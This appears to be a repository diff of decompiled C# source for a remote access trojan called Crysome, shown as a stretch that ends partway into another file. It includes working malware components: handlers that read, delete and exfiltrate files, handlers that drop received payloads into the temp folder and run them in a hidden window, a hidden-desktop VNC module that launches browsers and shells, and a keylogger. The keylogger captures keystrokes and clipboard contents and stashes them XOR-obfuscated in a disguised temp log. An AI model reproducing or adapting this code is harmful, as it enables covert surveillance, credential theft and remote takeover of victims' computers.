public byte[] CaptureFrameToJpeg(int quality, int timeoutMs = 8)
{
if (_duplication == null)
return null;
Resource desktopResource = null;
try
{
var result = _duplication.TryAcquireNextFrame(timeoutMs, out _, out desktopResource);
if (result.Failure || desktopResource == null)
return null;
using (var texture = desktopResource.QueryInterface<Texture2D>())
{
_device.ImmediateContext.CopyResource(texture, _staging);
}
var mapSource = _device.ImmediateContext.MapSubresource(_staging, 0, MapMode.Read, MapFlags.None);
try
{
ConvertBgraToRgb(mapSource.DataPointer, mapSource.RowPitch);
}
finally
{
_device.ImmediateContext.UnmapSubresource(_staging, 0);
}
if (_turboAvailable)
return TurboEncode(quality);
else
return GdiEncode(quality);
}
catch (SharpDXException ex) when (ex.ResultCode.Code == SharpDX.DXGI.ResultCode.AccessLost.Result.Code)
{
Cleanup();
return null;
}
catch
{
return null;
}
finally
{
try { desktopResource?.Dispose(); } catch { }
try { _duplication?.ReleaseFrame(); } catch { }
}
}
private unsafe void ConvertBgraToRgb(IntPtr srcPtr, int srcStride)
{
fixed (byte* dstBase = _bgrBuffer)
{
byte* src = (byte*)srcPtr;
byte* dst = dstBase;
int dstStride = _width * 3;
for (int y = 0; y < _height; y++)
{
byte* srcRow = src + y * srcStride;
byte* dstRow = dst + y * dstStride;
int x = 0;
for (; x < _width; x++)
{
dstRow[0] = srcRow[2]; // R (turbo wants RGB)
dstRow[1] = srcRow[1]; // G
dstRow[2] = srcRow[0]; // B
srcRow += 4;
dstRow += 3;
}
}
}
}
private byte[] TurboEncode(int quality)
{
try
{
return _turboJpeg.Compress(
_bgrBuffer,
_width * 3,
_width,
_height,
TJPixelFormats.TJPF_RGB,
TJSubsamplingOptions.TJSAMP_420,
quality,
TJFlags.FASTDCT);
}
catch
{
_turboAvailable = false;
return GdiEncode(quality);
}
}
private byte[] GdiEncode(int quality)
{
using (var bmp = new Bitmap(_width, _height, PixelFormat.Format24bppRgb))
{
var bmpData = bmp.LockBits(
new Rectangle(0, 0, _width, _height),
ImageLockMode.WriteOnly,
PixelFormat.Format24bppRgb);
int bgrStride = _width * 3;
int dstStride = bmpData.Stride;
unsafe
{
fixed (byte* srcBase = _bgrBuffer)
{
byte* dst = (byte*)bmpData.Scan0;
for (int y = 0; y < _height; y++)
{
// BGR buffer has RGB order, but Bitmap Format24bppRgb expects BGR
byte* srcRow = srcBase + y * bgrStride;
byte* dstRow = dst + y * dstStride;
for (int x = 0; x < _width; x++)
{
dstRow[0] = srcRow[2]; // B
dstRow[1] = srcRow[1]; // G
dstRow[2] = srcRow[0]; // R
srcRow += 3;
dstRow += 3;
}
}
}
}
bmp.UnlockBits(bmpData);
var codec = GetJpegCodec();
using (var ms = new MemoryStream(131072))
{
if (codec != null)
{
using (var ep = new EncoderParameters(1))
{
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
bmp.Save(ms, codec, ep);
}
}
else
{
bmp.Save(ms, ImageFormat.Jpeg);
}
return ms.ToArray();
}
}
}
private static ImageCodecInfo _jpegCodec;
private static readonly object _codecLock = new object();
private static ImageCodecInfo GetJpegCodec()
{
if (_jpegCodec != null) return _jpegCodec;
lock (_codecLock)
{
if (_jpegCodec != null) return _jpegCodec;
foreach (var info in ImageCodecInfo.GetImageEncoders())
if (info.FormatID == ImageFormat.Jpeg.Guid)
{ _jpegCodec = info; break; }
}
return _jpegCodec;
}
private void Cleanup()
{
try { _turboJpeg?.Dispose(); } catch { }
try { _duplication?.Dispose(); } catch { }
try { _staging?.Dispose(); } catch { }
try { _device?.Dispose(); } catch { }
_turboJpeg = null;
_duplication = null;
_staging = null;
_device = null;
_bgrBuffer = null;
}
public void Dispose()
{
if (!_disposed)
{
_disposed = true;
Cleanup();
}
}
}
}
Crysome.Client/Crysome.Client.Handlers/FileHandlers.cs
+254
View File
@@ -0,0 +1,254 @@
using System;
using System.IO;
using System.Linq;
using System.Security;
using Crysome.Client.SystemInfo;
using Crysome.Client.Util;
using Crysome.Client.Web;
using Crysome.Common.Model;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class FileHandlers
{
private const int MaxIconsPerListing = 120;
public static void HandleGetDirectory(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
GetDirectoryRequestPacket val = (GetDirectoryRequestPacket)packet;
string path = ((val.Path == string.Empty) ? Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) : val.Path);
GetDirectoryFileEntries(client, path, val.RequestId);
}
public static void HandleDeleteFile(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
DeleteFileRequestPacket val = (DeleteFileRequestPacket)packet;
string fullName = Directory.GetParent(val.Path).FullName;
if (Directory.Exists(val.Path))
{
Directory.Delete(val.Path, recursive: true);
}
else if (File.Exists(val.Path))
{
File.Delete(val.Path);
}
GetDirectoryFileEntries(client, fullName, 0L);
}
public static void HandleSendFile(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
SendFileRequestPacket val = (SendFileRequestPacket)packet;
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, val.Filename), val.FileData);
}
public static void HandleWriteFile(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_0121: Unknown result type (might be due to invalid IL or missing references)
//IL_0126: Unknown result type (might be due to invalid IL or missing references)
//IL_012d: Unknown result type (might be due to invalid IL or missing references)
//IL_0139: Unknown result type (might be due to invalid IL or missing references)
//IL_014a: Expected O, but got Unknown
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
//IL_003d: Expected O, but got Unknown
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
//IL_0059: Unknown result type (might be due to invalid IL or missing references)
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
//IL_006b: Unknown result type (might be due to invalid IL or missing references)
//IL_007c: Expected O, but got Unknown
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
//IL_0098: Unknown result type (might be due to invalid IL or missing references)
//IL_009f: Unknown result type (might be due to invalid IL or missing references)
//IL_00aa: Unknown result type (might be due to invalid IL or missing references)
//IL_00bb: Expected O, but got Unknown
//IL_00f5: Unknown result type (might be due to invalid IL or missing references)
//IL_00fa: Unknown result type (might be due to invalid IL or missing references)
//IL_0101: Unknown result type (might be due to invalid IL or missing references)
//IL_010c: Unknown result type (might be due to invalid IL or missing references)
//IL_011d: Expected O, but got Unknown
WriteFileRequestPacket val = (WriteFileRequestPacket)packet;
try
{
if (string.IsNullOrEmpty(val.DestPath))
{
client.SendPacket((IPacket)new WriteFileResponsePacket
{
Success = false,
ErrorMessage = "Empty path",
TransferId = val.TransferId
});
return;
}
if (val.Data == null || val.Data.Length == 0)
{
client.SendPacket((IPacket)new WriteFileResponsePacket
{
Success = false,
ErrorMessage = "Empty data",
TransferId = val.TransferId
});
return;
}
if ((long)val.Data.Length > 104857600L)
{
client.SendPacket((IPacket)new WriteFileResponsePacket
{
Success = false,
ErrorMessage = "File too large (max 100MB)",
TransferId = val.TransferId
});
return;
}
string directoryName = Path.GetDirectoryName(val.DestPath);
if (!string.IsNullOrEmpty(directoryName) && !Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
File.WriteAllBytes(val.DestPath, val.Data);
client.SendPacket((IPacket)new WriteFileResponsePacket
{
Success = true,
ErrorMessage = "",
TransferId = val.TransferId
});
}
catch (Exception ex)
{
client.SendPacket((IPacket)new WriteFileResponsePacket
{
Success = false,
ErrorMessage = ex.Message,
TransferId = val.TransferId
});
}
}
public static void HandleDownloadFile(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
DownloadFileRequestPacket val = (DownloadFileRequestPacket)packet;
new WebFileDownloader().DownloadFile(val.Url);
}
public static void HandleReadFile(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
//IL_00c6: Expected O, but got Unknown
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
//IL_002c: Expected O, but got Unknown
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
//IL_0056: Expected O, but got Unknown
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
//IL_00aa: Expected O, but got Unknown
//IL_007e: Unknown result type (might be due to invalid IL or missing references)
//IL_0088: Expected O, but got Unknown
ReadFileRequestPacket val = (ReadFileRequestPacket)packet;
try
{
if (string.IsNullOrEmpty(val.Path))
{
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "Empty path", (byte[])null, val.TransferId));
return;
}
if (!File.Exists(val.Path))
{
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File not found", (byte[])null, val.TransferId));
return;
}
if (new FileInfo(val.Path).Length > 104857600)
{
client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File too large (max 100MB)", (byte[])null, val.TransferId));
return;
}
byte[] array = File.ReadAllBytes(val.Path);
client.SendPacket((IPacket)new ReadFileResponsePacket(true, (string)null, array, val.TransferId));
}
catch (Exception ex)
{
client.SendPacket((IPacket)new ReadFileResponsePacket(false, ex.Message, (byte[])null, val.TransferId));
}
}
private static void GetDirectoryFileEntries(CrysomeClient client, string path, long requestId)
{
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
//IL_003f: Unknown result type (might be due to invalid IL or missing references)
//IL_006f: Unknown result type (might be due to invalid IL or missing references)
//IL_009f: Unknown result type (might be due to invalid IL or missing references)
//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
//IL_012f: Unknown result type (might be due to invalid IL or missing references)
//IL_0137: Expected O, but got Unknown
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(path);
if (directoryInfo.Exists)
{
FileSystemEntry[] directories = FileExplorer.GetDirectories(path);
FileSystemEntry[] files = FileExplorer.GetFiles(path);
GetDirectoryResponsePacket val = new GetDirectoryResponsePacket
{
Name = directoryInfo.Name,
Path = directoryInfo.FullName,
Folders = directories.Select((FileSystemEntry folder) => folder.Name).ToArray(),
Files = files.Select((FileSystemEntry file) => file.Name).ToArray(),
FileSizes = files.Select((FileSystemEntry file) => file.Size).ToArray(),
FolderLastWriteUtcTicks = directories.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
FileLastWriteUtcTicks = files.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
RequestId = requestId
};
val.FolderIconPng = new byte[directories.Length][];
for (int num = 0; num < directories.Length; num++)
{
string fullPath = Path.Combine(directoryInfo.FullName, directories[num].Name);
val.FolderIconPng[num] = ((num < 120) ? ShellSmallIconPng.TryGetPng(fullPath, isDirectory: true) : null);
}
val.FileIconPng = new byte[files.Length][];
for (int num2 = 0; num2 < files.Length; num2++)
{
string fullPath2 = Path.Combine(directoryInfo.FullName, files[num2].Name);
val.FileIconPng[num2] = ((num2 < 120) ? ShellSmallIconPng.TryGetPng(fullPath2, isDirectory: false) : null);
}
client.SendPacket((IPacket)(object)val);
}
}
catch (SecurityException)
{
NotifyStatus(client, "Insufficient privileges.");
}
catch (ArgumentException)
{
NotifyStatus(client, "Invalid path.");
}
catch (Exception)
{
NotifyStatus(client, "An unexpected error has occured.");
}
}
private static void NotifyStatus(CrysomeClient client, string statusMessage)
{
//IL_0002: Unknown result type (might be due to invalid IL or missing references)
//IL_000c: Expected O, but got Unknown
client.SendPacket((IPacket)new NotifyStatusResponsePacket(statusMessage));
}
}
Crysome.Client/Crysome.Client.Handlers/FileTransferHandlers.cs
+135
View File
@@ -0,0 +1,135 @@
using System;
using System.Diagnostics;
using System.IO;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class FileTransferHandlers
{
private const int MaxFileBytes = 157286400;
private static FtReceiver _receiver;
internal static volatile string LastDllPath;
public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
//IL_00ab: Expected O, but got Unknown
FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
string text;
try
{
if (val.FileData == null || val.FileData.Length == 0)
{
text = "ERR: Empty payload";
}
else if (val.FileData.Length > 157286400)
{
text = "ERR: Payload too large";
}
else
{
string text2 = SanitizeFileName(val.Filename);
string text3 = Path.Combine(Path.GetTempPath(), text2);
File.WriteAllBytes(text3, val.FileData);
Process.Start(new ProcessStartInfo
{
FileName = text3,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
text = "OK: " + text2;
}
}
catch (Exception ex)
{
text = "ERR: " + ex.Message;
}
client.SendPacket((IPacket)new FileTransferResponsePacket(text));
}
public static void HandleFtStart(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_000b: Expected O, but got Unknown
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_006d: Expected O, but got Unknown
_receiver = new FtReceiver(client);
_receiver.OnComplete = delegate(string name, byte[] data)
{
try
{
string text = SanitizeFileName(name);
string text2 = Path.Combine(Path.GetTempPath(), text);
File.WriteAllBytes(text2, data);
Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
{
LastDllPath = text2;
}
else
{
Process.Start(new ProcessStartInfo
{
FileName = text2,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
catch (Exception ex)
{
Program.Log("FtReceiver execute error: " + ex.Message);
}
};
_receiver.OnError = delegate(string msg)
{
Program.Log("FtReceiver error: " + msg);
};
_receiver.HandleStart((FtStartPacket)packet);
}
public static void HandleFtChunk(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
FtReceiver receiver = _receiver;
if (receiver != null)
{
receiver.HandleChunk((FtChunkPacket)packet);
}
}
public static void HandleFtAbort(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
FtReceiver receiver = _receiver;
if (receiver != null)
{
receiver.HandleAbort((FtAbortPacket)packet);
}
}
private static string SanitizeFileName(string name)
{
if (string.IsNullOrEmpty(name))
{
return "received.dat";
}
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
foreach (char oldChar in invalidFileNameChars)
{
name = name.Replace(oldChar, '_');
}
return name;
}
}
Crysome.Client/Crysome.Client.Handlers/HvncHandlers.cs
+349
View File
@@ -0,0 +1,349 @@
using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using Crysome.Client.Hvnc;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class HvncHandlers
{
private const string DesktopName = "CrysomeHvncDesktop";
private static volatile bool _running;
private static Thread _captureThread;
private static Thread _sendThread;
private static CrysomeClient _client;
private static HvncImagingHandler _imaging;
private static HvncInputHandler _input;
private static HvncProcessHandler _process;
private static int _quality;
private static int _intervalMs;
private static readonly object _lock;
private static readonly BlockingCollection<Action> _hvncInputQueue;
private static readonly Thread _hvncInputPump;
private static volatile byte[] _pendingFrame;
private static readonly SemaphoreSlim _frameSem;
static HvncHandlers()
{
_quality = 80;
_intervalMs = 50;
_lock = new object();
_hvncInputQueue = new BlockingCollection<Action>();
_frameSem = new SemaphoreSlim(0, 1);
_hvncInputPump = new Thread((ThreadStart)delegate
{
foreach (Action item in _hvncInputQueue.GetConsumingEnumerable())
{
try
{
item?.Invoke();
}
catch (Exception ex)
{
Program.Log("HVNC input: " + ex.Message);
}
}
})
{
IsBackground = true,
Name = "HvncInputPump"
};
_hvncInputPump.Start();
}
public static void HandleStartHvnc(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
StartHvncPacket val = (StartHvncPacket)packet;
lock (_lock)
{
if (!_running)
{
_quality = Math.Max(10, Math.Min(100, val.Quality));
_intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs));
_client = client;
try
{
_imaging = new HvncImagingHandler("CrysomeHvncDesktop");
_input = new HvncInputHandler("CrysomeHvncDesktop");
_process = new HvncProcessHandler("CrysomeHvncDesktop");
_process.StartExplorer();
Thread.Sleep(500);
}
catch (Exception ex)
{
Program.Log("HVNC init: " + ex.Message);
DisposeHandlers();
return;
}
_running = true;
_pendingFrame = null;
_sendThread = new Thread(SendLoop)
{
IsBackground = true,
Name = "HvncSend"
};
_sendThread.Start();
_captureThread = new Thread(CaptureLoop)
{
IsBackground = true,
Name = "HvncCapture"
};
_captureThread.Start();
}
}
}
public static void HandleStopHvnc(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
_running = false;
try
{
_frameSem.Release();
}
catch
{
}
_captureThread?.Join(3000);
_sendThread?.Join(2000);
DisposeHandlers();
}
}
public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
HvncRunRequestPacket val = (HvncRunRequestPacket)packet;
if (!_running || _process == null)
{
return;
}
try
{
switch (val.Action)
{
case 0:
_process.StartExplorer();
break;
case 1:
_process.StartRunDialog();
break;
case 2:
_process.StartCmd();
break;
case 3:
_process.StartPowerShell();
break;
case 4:
_process.StartChrome();
break;
case 5:
_process.StartEdge();
break;
case 6:
_process.StartFirefox();
break;
case 7:
_process.StartOpera();
break;
case 8:
_process.StartOperaGX();
break;
case 9:
_process.StartBrave();
break;
case 17:
_process.StartNotepad();
break;
case 18:
_process.StartCalculator();
break;
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
_process.HandleCloneRequest(val.Action);
break;
case 19:
_process.StartDiscord();
break;
case 10:
if (!string.IsNullOrEmpty(val.Path))
{
_process.CreateProc(val.Path);
}
break;
}
}
catch (Exception ex)
{
Program.Log("HVNC run: " + ex.Message);
}
}
public static void HandleHvncInput(CrysomeClient client, IPacket packet)
{
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
//IL_000d: Expected O, but got Unknown
HvncInputPacket val = (HvncInputPacket)packet;
if (_running && _input != null)
{
uint msg = (uint)val.Msg;
IntPtr wParam = new IntPtr(val.WParam);
IntPtr lParam = new IntPtr(val.LParam);
_hvncInputQueue.Add(delegate
{
_input.Input(msg, wParam, lParam);
});
}
}
private static void DisposeHandlers()
{
try
{
_imaging?.Dispose();
_imaging = null;
_input?.Dispose();
_input = null;
_process = null;
}
catch
{
}
}
private static void SendLoop()
{
while (_running)
{
try
{
_frameSem.Wait(100);
if (!_running)
{
break;
}
byte[] array = Interlocked.Exchange(ref _pendingFrame, null);
if (array != null && array.Length != 0)
{
if (!_client.IsConnected)
{
break;
}
_client.SendHvncFrame(array);
}
}
catch (Exception ex)
{
Program.Log("HVNC send: " + ex.Message);
if (!_running)
{
break;
}
}
}
}
private static void CaptureLoop()
{
ImageCodecInfo jpegCodec = GetJpegCodec();
Stopwatch stopwatch = Stopwatch.StartNew();
while (_running && _client != null && _imaging != null)
{
long elapsedMilliseconds = stopwatch.ElapsedMilliseconds;
try
{
if (!_client.IsConnected)
{
break;
}
using Bitmap bitmap = _imaging.Screenshot();
if (bitmap != null)
{
byte[] array = EncodeJpeg(bitmap, jpegCodec);
if (array != null && array.Length != 0)
{
Interlocked.Exchange(ref _pendingFrame, array);
try
{
_frameSem.Release();
}
catch (SemaphoreFullException)
{
}
}
}
}
catch (Exception ex2)
{
Program.Log("HVNC capture: " + ex2.Message);
}
long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
int num2 = Math.Max(0, _intervalMs - (int)num);
if (num2 > 0)
{
Thread.Sleep(num2);
}
}
}
private static ImageCodecInfo GetJpegCodec()
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
foreach (ImageCodecInfo imageCodecInfo in imageEncoders)
{
if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid)
{
return imageCodecInfo;
}
}
return null;
}
private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec)
{
if (codec == null)
{
using (MemoryStream memoryStream = new MemoryStream())
{
bmp.Save(memoryStream, ImageFormat.Jpeg);
return memoryStream.ToArray();
}
}
using MemoryStream memoryStream2 = new MemoryStream();
using (EncoderParameters encoderParameters = new EncoderParameters(1))
{
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality);
bmp.Save(memoryStream2, codec, encoderParameters);
}
return memoryStream2.ToArray();
}
}
Crysome.Client/Crysome.Client.Handlers/KeyloggerHandlers.cs
+386
View File
@@ -0,0 +1,386 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using Crysome.Client.Util;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
namespace Crysome.Client.Handlers;
public static class KeyloggerHandlers
{
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private struct MSG
{
public IntPtr hwnd;
public uint message;
public IntPtr wParam;
public IntPtr lParam;
public uint time;
public POINT pt;
}
private struct POINT
{
public int X;
public int Y;
}
private struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
private static volatile bool _running;
private static CrysomeClient _client;
private static IntPtr _hookId = IntPtr.Zero;
private static readonly object _lock = new object();
private static readonly StringBuilder _buffer = new StringBuilder();
private static DateTime _lastSend = DateTime.MinValue;
private const int FlushIntervalMs = 2000;
private const int MaxBufferChars = 500;
private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log");
private const byte XorKey = 167;
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 256;
private const int WM_KEYUP = 257;
private const int WM_SYSKEYDOWN = 260;
private const int WM_SYSKEYUP = 261;
private static volatile bool _ctrlDown;
private const uint LLKHF_INJECTED = 16u;
private const int VK_CONTROL = 17;
private const int VK_LCONTROL = 162;
private const int VK_RCONTROL = 163;
private const uint PM_REMOVE = 1u;
private static LowLevelKeyboardProc _proc = HookCallback;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
[DllImport("user32.dll")]
private static extern bool TranslateMessage(ref MSG lpMsg);
[DllImport("user32.dll")]
private static extern IntPtr DispatchMessage(ref MSG lpMsg);
public static void HandleStartKeylogger(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
if (!_running)
{
_client = client;
_running = true;
_ctrlDown = false;
_buffer.Clear();
Thread thread = new Thread(RunHook);
thread.IsBackground = true;
thread.Start();
}
}
}
public static void HandleStopKeylogger(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
_running = false;
if (_hookId != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookId);
_hookId = IntPtr.Zero;
}
FlushBuffer();
}
}
public static void UploadOfflineDataIfAny(CrysomeClient client)
{
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
//IL_006e: Expected O, but got Unknown
try
{
if (!File.Exists(_offlineFilePath))
{
return;
}
byte[] array = File.ReadAllBytes(_offlineFilePath);
if (array != null && array.Length != 0)
{
for (int i = 0; i < array.Length; i++)
{
array[i] ^= 167;
}
string text = Encoding.UTF8.GetString(array);
if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected)
{
client.SendPacket((IPacket)new OfflineKeylogDataPacket(text));
File.Delete(_offlineFilePath);
}
}
}
catch
{
}
}
private static void RunHook()
{
try
{
using (Process process = Process.GetCurrentProcess())
{
using ProcessModule processModule = process.MainModule;
_hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u);
}
if (_hookId == IntPtr.Zero)
{
Program.Log("Keylogger: SetWindowsHookEx failed");
return;
}
try
{
while (_running)
{
MSG lpMsg;
while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u))
{
TranslateMessage(ref lpMsg);
DispatchMessage(ref lpMsg);
}
Thread.Sleep(20);
}
}
finally
{
if (_hookId != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookId);
_hookId = IntPtr.Zero;
}
}
}
catch (Exception ex)
{
Program.Log("Keylogger: " + ex.Message);
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && _running)
{
try
{
KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0)
{
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
int vkCode = (int)kBDLLHOOKSTRUCT.vkCode;
bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260;
if (wParam == (IntPtr)257)
{
_ = 1;
}
else
_ = wParam == (IntPtr)261;
if (vkCode == 17 || vkCode == 162 || vkCode == 163)
{
_ctrlDown = flag;
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
if (flag)
{
if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88))
{
string value = vkCode switch
{
86 => "PASTE",
67 => "COPY",
_ => "CUT",
};
string textTruncated = ClipboardSta.GetTextTruncated(400);
lock (_buffer)
{
_buffer.Append(" [").Append(value).Append(":")
.Append(textTruncated)
.Append("] ");
TryFlush();
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
if (!_ctrlDown)
{
char c = KeyToChar(vkCode);
if (c != 0)
{
lock (_buffer)
{
_buffer.Append(c);
TryFlush();
}
}
}
}
}
catch
{
}
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
private static void TryFlush()
{
if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0)
{
FlushBuffer();
}
}
private static char KeyToChar(int vk)
{
if (vk >= 48 && vk <= 57)
{
return (char)vk;
}
if (vk >= 65 && vk <= 90)
{
return (char)vk;
}
return vk switch
{
32 => ' ',
13 => '\n',
8 => '\b',
9 => '\t',
186 => ';',
187 => '=',
188 => ',',
189 => '-',
190 => '.',
191 => '/',
192 => '`',
219 => '[',
220 => '\\',
221 => ']',
222 => '\'',
_ => '\0',
};
}
private static void FlushBuffer()
{
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
//IL_006e: Expected O, but got Unknown
string text;
lock (_buffer)
{
if (_buffer.Length == 0)
{
return;
}
text = _buffer.ToString();
_buffer.Clear();
_lastSend = DateTime.Now;
}
try
{
CrysomeClient client = _client;
if (client != null && client.IsConnected)
{
_client.SendPacket((IPacket)new KeylogDataPacket(text));
}
else
{
PersistOffline(text);
}
}
catch
{
try
{
PersistOffline(text);
}
catch
{
}
}
}
private static void PersistOffline(string data)
{
try
{
byte[] bytes = Encoding.UTF8.GetBytes(data);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= 167;
}
if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288)
{
using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write))
{
fileStream.Write(bytes, 0, bytes.Length);
return;
}
}
}
catch
{
}
}
}
Crysome.Client/Crysome.Client.Handlers/PingHandlers.cs
+19
View File
@@ -0,0 +1,19 @@
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class PingHandlers
{
public static void HandlePing(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Expected O, but got Unknown
PingRequestPacket val = (PingRequestPacket)packet;
client.SendPacket((IPacket)new PingResponsePacket(val.ServerTick));
}
}
Crysome.Client/Crysome.Client.Handlers/ProcessHandlers.cs
+150
View File
@@ -0,0 +1,150 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
